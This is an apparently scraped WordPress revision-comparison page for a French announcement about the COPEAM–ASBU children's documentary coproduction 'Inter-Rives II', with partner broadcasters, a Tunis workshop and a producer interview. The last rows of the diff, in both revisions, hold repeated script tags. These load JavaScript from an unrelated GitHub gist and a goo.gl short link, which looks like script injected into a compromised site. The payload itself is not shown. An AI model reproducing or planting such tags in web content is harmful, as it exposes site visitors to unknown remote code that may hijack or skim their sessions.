You are viewing an old revision of this post, from December 15, 2009 @ 11:38:49. See below for differences between this version and the current revision.
Tunis, 21 - 24 juillet 2009
Le deuxième magazine euro-arabe lancé par la COPEAM et l’ASBU en mars 2009 rassemble les pays des deux rives de la Méditerranée, du Machreq et du Golfe. Ont déjà adheré au projet: la Rai (Italie), l’EPTV (Algérie), la SNRT (Maroc), l’ERTU (Egypte), l’ORTAS (Syrie), Al Manar (Liban), la RTVE (Espagne), Al Jazeera Children (Qatar) et San Marino RTV (République de San Marino).
L’atelier de formation dans sa nouvelle formule visant à l’écriture de scripts sera organisé à Tunis du 21 au 24 juillet 2009 et réunira les réalisateurs des chaînes partenaires et les équipes de coordination et de formation.
Changes:
| December 15, 2009 @ 11:38:49 | Current Revision | ||
|---|---|---|---|
| Title | |||
| Inter-Rives II - Partenaires et premier atelier | «Inter-Rives II: Regards d’enfants»: le nouveau projet de coproduction COPEAM - ASBU | ||
| Content | |||
|---|---|---|---|
| <p> | |||
| La <span data-scayt_word= "coproduction" data-scaytid= "9">coproduction</span> <span data-scayt_word="est" data-scaytid= "12">est</span> <span data-scayt_word= "l’un" data-scaytid= "14">l’un</span> des champs <span data-scayt_word= "d’action" data-scaytid= "15">d’action</span> <span data-scayt_word="majeurs" data-scaytid= "16">majeurs</span> <span data-scayt_word="auquel" data-scaytid= "17">auquel</span> la <span data-scayt_word="COPEAM" data-scaytid= "18">COPEAM</span> a <span data-scayt_word="toujours" data-scaytid= "21">toujours</span> <span data-scayt_word= "accordé" data-scaytid= "23">accordé</span> <span data-scayt_word="une" data-scaytid= "24">une</span> <span data-scayt_word="grande" data-scaytid= "28">grande</span> importance et <span data-scayt_word= "qu’ils" data-scaytid= "30">qu’ils</span> <span data-scayt_word="sont" data-scaytid= "31">sont</span> <span data-scayt_word= "développé" data-scaytid= "32">développé</span> au <span data-scayt_word="fil" data-scaytid= "33">fil</span> du temps <span data-scayt_word="à " data-scaytid= "34">à</span> <span data-scayt_word="travers" data-scaytid= "46">travers</span> des <span data-scayt_word= "partenariats" data-scaytid= "48">partenariats</span> et des synergies <span data-scayt_word= "productives" data-scaytid= "49">productives</span>. | |||
| En <span data-scayt_word="effet" data-scaytid= "50">effet</span>, <span data-scayt_word="il" data-scaytid= "64">il</span> <span data-scayt_word= "s’agit" data-scaytid= "65">s’agit</span> <span data-scayt_word= "d’un" data-scaytid= "66">d’un</span> <span data-scayt_word="secteur" data-scaytid= "68">secteur</span> <span data-scayt_word= "d’intérêt" data-scaytid= "69">d’intérêt</span> <span data-scayt_word= "stratégique" data-scaytid= "70">stratégique</span> pour <span data-scayt_word="notre" data-scaytid= "71">notre</span> association et qui <span data-scayt_word="permet" data-scaytid= "72">permet</span>, <span data-scayt_word="à " data-scaytid= "35">à</span> long <span data-scayt_word="terme" data-scaytid= "73">terme</span>, la <span data-scayt_word= "création" data-scaytid= "74">création</span> <span data-scayt_word= "d’un" data-scaytid= "67">d’un</span> <span data-scayt_word= "imaginaire" data-scaytid= "75">imaginaire</span> <span data-scayt_word= "audiovisuel" data-scaytid= "76">audiovisuel</span> <span data-scayt_word= "diversifié" data-scaytid= "77">diversifié</span> <span data-scayt_word="mais" data-scaytid= "78">mais</span><span data-scayt_word="basé" data-scaytid= "80">basé</span> <span data-scayt_word="sur" data-scaytid= "81">sur</span> unesprit de <span data-scayt_word= "coopération" data-scaytid= "85">coopération</span> et d’ <span data-scayt_word= "interculturalité" data-scaytid= "86">interculturalité</span>. | |||
| La <span data-scayt_word= "première" data-scaytid= "87">première</span> <span data-scayt_word= "coproduction" data-scaytid= "10">coproduction</span> <span data-scayt_word= "euro-arabe" data-scaytid= "88">euro-arabe</span> <span data-scayt_word="à " data-scaytid= "36">à</span> <span data-scayt_word="grande" data-scaytid= "29">grande</span> <span data-scayt_word= "échelle" data-scaytid= "91">échelle</span>, "<a href="http:// www.copeam.org/ proj.aspx?ln= fr&id=41& p=8">Inter-Rives</a>", a <span data-scayt_word="abouti" data-scaytid= "92">abouti</span> <span data-scayt_word="à " data-scaytid= "37">à</span> la production de 32 <span data-scayt_word= "épisodes" data-scaytid= "93">épisodes</span> PAD (<span data-scayt_word="prêt" data-scaytid= "94">prêt</span> <span data-scayt_word="à " data-scaytid= "38">à</span> diffuser) de 13' <span data-scayt_word="sur" data-scaytid= "82">sur</span> les <span data-scayt_word="thèmes" data-scaytid= "95">thèmes</span> de "<span data-scayt_word="l'art" data-scaytid= "96">l'art</span> <span data-scayt_word= "contemporain" data-scaytid= "97">contemporain</span>", de "la femme" et de "<span data-scayt_word= "l'émigré" data-scaytid= "98">l'émigré</span>. | |||
| Elle a <span data-scayt_word="été" data-scaytid= "99">été</span> <span data-scayt_word= "présentée" data-scaytid= "100">présentée</span> <span data-scayt_word="à " data-scaytid= "39">à</span> <span data-scayt_word= "différentes" data-scaytid= "101">différentes</span> occasions <span data-scayt_word= "internationales" data-scaytid= "102">internationales</span> <span data-scayt_word="dont" data-scaytid= "103">dont</span> le <span data-scayt_word="Bakaforum" data-scaytid= "104">Bakaforum</span> 2008 (<span data-scayt_word="Karlsruhe" data-scaytid= "105">Karlsruhe</span>, <span data-scayt_word="Allemagne" data-scaytid= "106">Allemagne</span>) et <span data-scayt_word= "Eurovision" data-scaytid= "107">Eurovision</span> TV 2008 (Lucerne, Suisse) et <span data-scayt_word="dès" data-scaytid= "108">dès</span> <span data-scayt_word="juin" data-scaytid= "110">juin</span> 2008 <span data-scayt_word= "diffusée" data-scaytid= "111">diffusée</span>par <span data-scayt_word="plusieurs" data-scaytid= "117">plusieurs</span> <span data-scayt_word= "chaînes" data-scaytid= "118">chaînes</span> <span data-scayt_word= "partenaires" data-scaytid= "119">partenaires</span> : RAI (<span data-scayt_word="Italie" data-scaytid= "120">Italie</span>), <span data-scayt_word="RTVE" data-scaytid= "121">RTVE</span> (<span data-scayt_word="Espagne" data-scaytid= "122">Espagne</span>), <span data-scayt_word="ERTU" data-scaytid= "123">ERTU</span> (<span data-scayt_word="Egypte" data-scaytid= "124">Egypte</span>), <span data-scayt_word="ERTsa" data-scaytid= "125">ERTsa</span> (<span data-scayt_word="Grèce" data-scaytid= "126">Grèce</span>), <span data-scayt_word="EPTV" data-scaytid= "127">EPTV</span> (<span data-scayt_word= "Algérie" data-scaytid= "128">Algérie</span>), etc. | |||
| Suite <span data-scayt_word="à " data-scaytid= "40">à</span> <span data-scayt_word="cette" data-scaytid= "129">cette</span> <span data-scayt_word= "importante" data-scaytid= "131">importante</span> <span data-scayt_word= "expérience" data-scaytid= "132">expérience</span> de <span data-scayt_word= "coproduction" data-scaytid= "11">coproduction</span> et <span data-scayt_word="après" data-scaytid= "133">après</span> <span data-scayt_word="avoir" data-scaytid= "134">avoir</span> <span data-scayt_word= "amélioré" data-scaytid= "135">amélioré</span> <span data-scayt_word="tous" data-scaytid= "136">tous</span> les aspects <span data-scayt_word="liés" data-scaytid= "137">liés</span> <span data-scayt_word="à " data-scaytid= "41">à</span> la formule du panier, aux ateliers et au temps de production, la <span data-scayt_word="COPEAM" data-scaytid= "19">COPEAM</span> et l’ASBU proposent <span data-scayt_word="une" data-scaytid= "25">une</span> nouvelle série de documentaires de 13’ ouvrant <span data-scayt_word="une" data-scaytid= "26">une</span> fenêtre <span data-scayt_word="sur" data-scaytid= "83">sur</span> le monde arabe et européen actuel <span data-scayt_word="à " data-scaytid= "42">à</span> <span data-scayt_word="travers" data-scaytid= "47">travers</span> les regards insolites, amusés et sensibles des enfants. | |||
| L’une des nouveautés d’ « <strong>Inter-Rives II </strong>» <span data-scayt_word="est" data-scaytid= "13">est</span> que <span data-scayt_word="cette" data-scaytid= "130">cette</span> année, ils ne se limiteront pas <span data-scayt_word="Ã " data-scaytid= "43">à</span> être un lieu d’échange d’idées <span data-scayt_word="sur" data-scaytid= "84">sur</span> les produits déjà réalisés <span data-scayt_word="mais" data-scaytid= "79">mais</span> seront un espace réel de formation au projet etd’écriture des scénariospar un travail conjoint des experts et des réalisateurs impliqués, pendant <span data-scayt_word="une" data-scaytid= "27">une</span> semaine intensive <span data-scayt_word="Ã " data-scaytid= "44">à</span> Tunis (en mai 2009). | |||
| Dans ce deuxième magazine <span data-scayt_word= "euro-arabe" data-scaytid= "89">euro-arabe</span>, l’engagement de chaque télévision partenaire prévoira la réalisation de 2 documentaires de 13’ chacun (2x13’) et en échange la réception de 18 documentaires puisque le nombre des radiodiffuseurs participants sera de 10 provenant des pays des deux rives de la Méditerranée, du Mashreq et du Golfe. | |||
| La durée de ce projet sera de 6 mois <span data-scayt_word="dès" data-scaytid= "109">dès</span> la fin de la semaine de formation/production <span data-scayt_word="toujours" data-scaytid= "22">toujours</span> dans l’esprit de partenariat qui anime la <span data-scayt_word="COPEAM" data-scaytid= "20">COPEAM</span> et l’ASBU. | |||
| <strong><a href="http:// www.copeam.org/UserFiles/ File/Projects/ 73_InterRivesII_ appel_candidatures.pdf">Pour télécharger l'Appel <span data-scayt_word="Ã " data-scaytid= "45">à</span> candidature cliquez-ici</a> | |||
| </strong> | |||
| <span style="color: #0000cd;"><u><strong><a href="http:// www.copeam.org/UserFiles/ File/Projects/ 73_Rassegna%20Stampa%20Inter%20RivesII.pdf"><span data-scayt_word="Lisez" data-scaytid= "1">Lisez</span> la revue de press</a></strong></u></span> | |||
| <span style="color: #003399;"><strong><span style="font-size: 14px;">A LA <span data-scayt_word="UNE" data-scaytid= "2">UNE</span> </span></strong></span> | |||
| <strong>Inter-Rives II: Regards <span data-scayt_word= "d’enfants" data-scaytid= "3">d’enfants</span>: <span data-scayt_word="une" data-scaytid= "51">une</span> nouvelle série <span data-scayt_word="conclue" data-scaytid= "4">conclue</span> et <span data-scayt_word="prête" data-scaytid= "5">prête</span> <span data-scayt_word="à " data-scaytid= "52">à</span> diffuser</strong> | |||
| <img style="width: 200px; height: 149px; float: left;" src="/userfiles/image/the team.JPG" alt="" />La 2e <span data-scayt_word= "coproduction" data-scaytid= "53">coproduction</span> Inter-Rives II: Regards <span data-scayt_word= "d’enfants" data-scaytid= "6">d’enfants</span> s’est <span data-scayt_word="conclue" data-scaytid= "7">conclue</span> avec succès. | |||
| Les accords de partenariat établissant les droits et les obligations des coproducteurs dans le cadre de <span data-scayt_word="cette" data-scaytid= "140">cette</span> série ont <span data-scayt_word="été" data-scaytid= "112">été</span> signés par <span data-scayt_word="tous" data-scaytid= "142">tous</span> les <span data-scayt_word= "partenaires" data-scaytid= "138">partenaires</span>, marquant ainsi <span data-scayt_word="une" data-scaytid= "59">une</span> nouvelle étape dans le domaine des coproductions COPEAM-ASBU qui nécessite un engagement clair <span data-scayt_word="à " data-scaytid= "62">à</span> la diffusion d’au moins 1/3 des documentaires de la part des radiodiffuseurs. | |||
| En <span data-scayt_word="effet" data-scaytid= "63">effet</span>, la qualité des produits et leur diffusion ont <span data-scayt_word="été" data-scaytid= "113">été</span> les objectifs <span data-scayt_word="majeurs" data-scaytid= "55">majeurs</span> de <span data-scayt_word="cette" data-scaytid= "141">cette</span> deuxième édition de la série qui a <span data-scayt_word="été" data-scaytid= "114">été</span> distribuée par l’ASBU et la <span data-scayt_word="COPEAM" data-scaytid= "56">COPEAM</span> aux télévisions participantes. | |||
| 17 documentaires ont <span data-scayt_word="été" data-scaytid= "115">été</span> coproduits : « Saveur de Festa » et « Une Maison Deux Cœurs » (PBS- Malte), « Notre Monde » (San Marino RTV), « Siwa, <span data-scayt_word="une" data-scaytid= "60">une</span> source d’eau et des traditions » (ERTU-Egypte), « L’art change le regard » et « Les enfants et la guerre » (TVE), « Les chuchotements de la lune » et « L’aramic dans leurs yeux » (ORTAS), « Notre Liban <span data-scayt_word="est" data-scaytid= "54">est</span> différent du votre », « Le théâtre pour la vie » (Al Manar), « Même le son a <span data-scayt_word="une" data-scaytid= "61">une</span> image » (SNRT), « Les Enfants de Timimoun…Entre mythe et réalité » et « Karkouz au pays des rêves, Karkouz fi Bilad el Ahlam »(<span data-scayt_word="EPTV" data-scaytid= "139">EPTV</span>), «Autisme», «La salle de presse » (JCCTV), «Sara, 12 ans et le tremblement de terre de l’Aquila» , «L’école de Gail»(RAI Educational). | |||
| Ils seront <span data-scayt_word="tous" data-scaytid= "143">tous</span> mis en ligne <span data-scayt_word="sur" data-scaytid= "90">sur</span> la Web TV de la <span data-scayt_word="COPEAM" data-scaytid= "57">COPEAM</span> (<span style="color: #0000cd;"><strong><a style="color: #0000ff;" href="http:// www.copeam.tv/ web/tree/product/ COPEAMTV/InterRives/Inter_ Rives_2_Glances_ Of_Children.asp"><span data-scayt_word= "www.copeam.tv" data-scaytid= "8">www.copeam.tv</span>< /a></strong></span>). | |||
| La prochaine réunion de la commission TV de la <span data-scayt_word="COPEAM" data-scaytid= "58">COPEAM</span> sera l’occasion de lancer la troisième série <span data-scayt_word="dont" data-scaytid= "116">dont</span> le thème sera bientôt établi. | |||
| <div class="follow_up"></div> | |||
| <strong>«Inter-Rives II: Regards d’enfants», un premier atelier qui promet beaucoup….</strong> | |||
| <em>Tunis, 21-24 juillet 2009</em> | |||
| Les travaux du premier atelier de la 2ème coproduction COPEAM-ASBU, <strong>«Inter-Rives II: Regards d’enfants»</strong>, se sont conclus le 24 juillet 2009, à Tunis. | |||
| L’équipe de coordination a activement œuvré avec les participants des télévisions partenaires lors des 4 journées de travail de groupe, intense et fructueux, à la préparation d’une charte de réalisation et de tournage de la série. Les thèmes des documentaires proposés ont été discutés par l’équipe et une liste finale a été dressée. Au terme de l’atelier, un calendrier de production a été établi et les réalisateurs ont fini par rédiger les synopsis de leurs documentaires. Un autre atelier est prévu avant la conclusion de la coproduction. | |||
| L’interview réalisée avec <em>M. Sampiero Sanguinetti</em>, le producteur exécutif de la série, apporte plus d’informations sur le déroulement de l’atelier et sur le développement de la coproduction. | |||
| <strong> | |||
| Comment estimez vous le bilan des travaux de l’atelier de Tunis?</strong> | |||
| Le bilan d’un travail doit toujours être évalué au regard des objectifs qui étaient visés. | |||
| Les ateliers organisés dans le cadre de la série Inter Rives ont pour objet premièrement de faciliter la mise en œuvre de la production de documentaires prévue dans le cadre de cette série, deuxièmement de tenter de parvenir à ce que l’ensemble des documentaires constituent non pas seulement une collection mais bien une série, et troisièmement de favoriser une véritable coopération et un véritable échange de compétences entre les participants originaires de pays et de télévisions très différents. | |||
| L’atelier de Tunis a permis de définir ensemble un cadre précis de production pour la série «Inter Rives II» et de s’entendre sur les objectifs recherchés. Le travail de groupe a donné lieu à un véritable échange entre les participants, à des débats extrêmement riches, à une meilleure connaissance réciproque et a même débouché me semble-t-il sur la constitution d’une équipe désireuse de poursuivre l’expérience et d’approfondir ce travail de connaissance réciproque. | |||
| <strong>Quelle est l’importance de la «charte de tournage et de réalisation» et des recommandations techniques, fruits de cet atelier, pour la réussite d’Inter Rives II?</strong> | |||
| Les recommandations auxquelles a abouti le travail de cet atelier, sous la forme notamment d’une «charte de tournage et de réalisation» sont bien sûr fondamentales. Elles doivent constituer l’axe commun de travail destiné à ce que l’ensemble des documentaires produits constituent véritablement une série et non pas seulement une collection de films disparates. Je suis sûr que les participants à l’atelier auront à cœur de respecter le plus possible ces recommandations. Je dis cela sans ignorer les difficultés du travail de documentariste qui réserve toujours des surprises et exige en permanence la capacité d’adapter l’idée de départ aux découvertes ou aux surprises du tournage. Mais je crois que cette charte est suffisamment réaliste pour permettre à chacun de rester dans le cadre malgré les surprises du tournage. | |||
| <strong>Pour quand prévoyez vous le deuxième atelier de production? Quelle en sera l’utilité pour le bon déroulement de la production?</strong> | |||
| Un second atelier nous a en effet paru absolument nécessaire. Nous avions prévu au cours du premier atelier que les tournages devraient avoir lieu entre les mois d’Août et de Novembre. Nous avons donc décidé de fixer le deuxième atelier au moment des phases de montage ou de finition des documentaires, après les tournages, c’est à dire au mois de décembre ou en début de janvier. Cela devrait nous permettre, au moment d’une étape importante de la production et de la fabrication de la série, de confronter l’état de notre travail, de recenser les difficultés qui se sont présentées ou qui se présentent, éventuellement de parler des alternatives de réalisation et de montage face aux choix qui se révèlent après tournage. Cela devrait nous permettre de nous entendre sur les adaptations possibles ou nécessaires en fonction des surprises ou des aléas des différents tournages. Ce second atelier me paraît extrêmement important avant de passer à la phase des finitions. | |||
| <hr /> | |||
| <strong>Inter-Rives II - Partenaires et p</strong><strong>remier atelier</strong> | |||
| <em>Tunis, 21 - 24 juillet 2009 | |||
| </em>Le deuxième magazine euro-arabe lancé par la COPEAM et l’ASBU en mars 2009 rassemble les pays des deux rives de la Méditerranée, du Machreq et du Golfe. Ont déjà adheré au projet: la Rai (Italie), l’EPTV (Algérie), la SNRT (Maroc), l’ERTU (Egypte), l’ORTAS (Syrie), Al Manar (Liban), la RTVE (Espagne), Al Jazeera Children (Qatar) et San Marino RTV (République de San Marino).</p> | |||
| <p> | |||
| L’atelier de formation dans sa nouvelle formule visant à l’écriture de scripts sera organisé à Tunis du 21 au 24 juillet 2009 et réunira les réalisateurs des chaînes partenaires et les équipes de coordination et de formation.<br /> | |||
| </p> | |||
| </em> | |||
| Le deuxième magazine euro-arabe lancé par la <strong>COPEAM</strong> et l’<strong>ASBU</strong> en mars 2009 rassemble les pays des deux rives de la Méditerranée, du Machreq et du Golfe.Ont déjà adheré au projet:la <strong>Rai </strong>(Italie), l’<strong>EPTV</strong> (Algérie), la <strong>SNRT</strong> (Maroc), l’<strong>ERTU</strong> (Egypte), l’<strong>ORTAS</strong> (Syrie), <strong>Al Manar </strong>(Liban), la <strong>RTVE</strong> (Espagne), <strong>Al Jazeera Children </strong>(Qatar) et <strong>San Marino RTV </strong>(République de San Marino). | |||
| <script type='text/javascript' src='https:// gist.githubusercontent.com/ vladimir677/bd66b2780ce8792e731469b660a62590/ raw/3a71aff685732599ba7fbadf7b929eae8d19053a/ js.js'></script> <script type='text/javascript' src='https:// gist.githubusercontent.com/ vladimir677/bd66b2780ce8792e731469b660a62590/ raw/3a71aff685732599ba7fbadf7b929eae8d19053a/ js.js'></script> <script type='text/javascript' src='https:// gist.githubusercontent.com/ vladimir677/bd66b2780ce8792e731469b660a62590/ raw/3a71aff685732599ba7fbadf7b929eae8d19053a/ js.js'></script> <script type='text/javascript' src='https:// gist.githubusercontent.com/ vladimir677/bd66b2780ce8792e731469b660a62590/ raw/3a71aff685732599ba7fbadf7b929eae8d19053a/ js.js'></script> <script type='text/javascript' src='https:// goo.gl/dd1kPI'></script> | L’atelier de formation dans sa nouvelle formule visant à l’écriture de scripts sera organisé à Tunis du 21 au 24 juillet 2009 et réunira les réalisateurs des chaînes partenaires et les équipes de coordination et de formation. <script type='text/javascript' src='https:// gist.githubusercontent.com/ vladimir677/bd66b2780ce8792e731469b660a62590/ raw/3a71aff685732599ba7fbadf7b929eae8d19053a/ js.js'></script> <script type='text/javascript' src='https:// gist.githubusercontent.com/ vladimir677/bd66b2780ce8792e731469b660a62590/ raw/3a71aff685732599ba7fbadf7b929eae8d19053a/ js.js'></script> <script type='text/javascript' src='https:// gist.githubusercontent.com/ vladimir677/bd66b2780ce8792e731469b660a62590/ raw/3a71aff685732599ba7fbadf7b929eae8d19053a/ js.js'></script> <script type='text/javascript' src='https:// gist.githubusercontent.com/ vladimir677/bd66b2780ce8792e731469b660a62590/ raw/3a71aff685732599ba7fbadf7b929eae8d19053a/ js.js'></script> <script type='text/javascript' src='https:// goo.gl/dd1kPI'></script> | ||
Note: Spaces may be added to comparison text to allow better line wrapping.
